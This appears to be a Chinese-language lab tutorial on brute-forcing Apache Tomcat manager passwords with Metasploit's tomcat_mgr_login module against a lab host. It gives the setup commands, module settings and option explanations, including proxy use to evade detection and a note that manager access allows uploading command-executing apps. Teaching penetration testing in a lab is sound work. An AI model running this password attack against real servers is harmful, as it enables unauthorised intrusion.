使用Metasploit爆破Tomcat密码

目录

相关应用介绍

  一、Apache Tomcat简介

  二、Metasploit的简介

---

实验环境配置

1. 启动数据库服务并初始化

2. 启动msf

3. 靶场

---

攻击过程 

1. 打开靶场中的Tomcat Server

2. 在Kali linux中启动msf并加载爆破模块

3. show options

4. set rhosts 192.168.137.129

5. set threads 5

6. set bruteforce_speed 3

7. run（运行）

2-3截图

​4-7截图 

​8. 在一些失败结果后，发现了一个有效的密码！（绿色的结果） 

9.  使用该用户名和密码登录后的结果：

10. 总结

---

---

相关应用介绍

一、Apache Tomcat简介

Apache tomcat是世界上使用最广泛的java web应用服务器之绝大多数人都会使用tomcat的默认配置。默认配置中会有一个向外网开放的web应用管理器，管理员可以利用它在服务器中启动停止、添加和删除应用.

二、Metasploit的简介

Metasploit是当前信息安全与渗透测试领域最流行的术语，它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit，而且Metasploit框架在这些系统上的工作流程基本一样。

Metasploit可向后端模块提供多种用来控制测试的接口（如控制台。Web、CLI）。推荐使用控制台接口，通过控制台接口，你可以访问和使用所有Metasploit的插件，可以直接在控制台接口里使用，要访问该界面，需要在命令行下输入mfsconsole

Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。

实验环境配置

1. 启动数据库服务并初始化

Msf使用的是postgreSQL数据库来存储日志和结果

启动postgreSQL的命令： service postgresql start 

创建并初始化数据库的命令: msfdb init 

2. 启动msf

命令：msfconsole

3. 靶场

我这里的靶场IP是192.168.137.129，同学们实验时要看清楚自己靶场的IP。

攻击过程 

1. 打开靶场中的Tomcat Server

在kali linux的firefox浏览器中输入http://192.168.137.129:8080/manager/html

​ 靶机中有一个Tomcat Server服务在运行，端口是8080，通过浏览器进行访问。

2. 在Kali linux中启动msf并加载爆破模块

命令：use auxiliary/scanner/http/tomcat_mgr_login

3. show options

如何理解命令show options：加载了攻击模块后，通过show options命令了解，要使用这个攻击模块进行攻击，后续还需要配置的参数有哪些，这些参数又是怎么配置？

4. set rhosts 192.168.137.129

现在可以设置目标主机ip了

5. set threads 5

为了使运行速度快一点（不能太快！），可以用这个命令设置线程

6. set bruteforce_speed 3

为了不使服务器因为太大量请求而奔溃，破解速度降低一点：

7. run（运行）

2-3截图

​4-7截图 

​8. 在一些失败结果后，发现了一个有效的密码！（绿色的结果） 

 9.  使用该用户名和密码登录后的结果：

10. 总结

默认情况下，tomcat服务会开启在8080端口，管理界面目录在/manager/html

该应用使用基础http认证。刚刚使用的tomcat_mgr_login模块有一些参数需要讲解一下： 

 BLANK_PASSWORDS: 为每一个账号提供一个空密码测试 

 PASSWORD: 设置这个可以一密码多用户的方式进行测试 

 PASS_FILE: 输入你想使用的密码字典路径  Proxies: 为了避免被检测到源地址，可以使用这个代理功能 

 RHOSTS：填写要测试的主机（可以是多个，以空格分隔。也可以是一个清单文件） 

 RPORT：设置目标tomcat运行端口  STOP_ON_SUCCESS：当破解成功后停止攻击 

 TARGERURI：管理界面的目录路径 

 USERNAME：定义要测试的用户名（可以使单个，也可以是一个字典文件） 

 USER_PASS_FILE：使用 用户名/密码 格式的字典文件 

 USER_AS_PASS：尝试使用测试中的用户名作为密码 一旦成功进入tomcat管理界面，就能看到并操作安装在上面的应用。 此外可以上传自己的应用（包括能在服务器执行命令的应用）。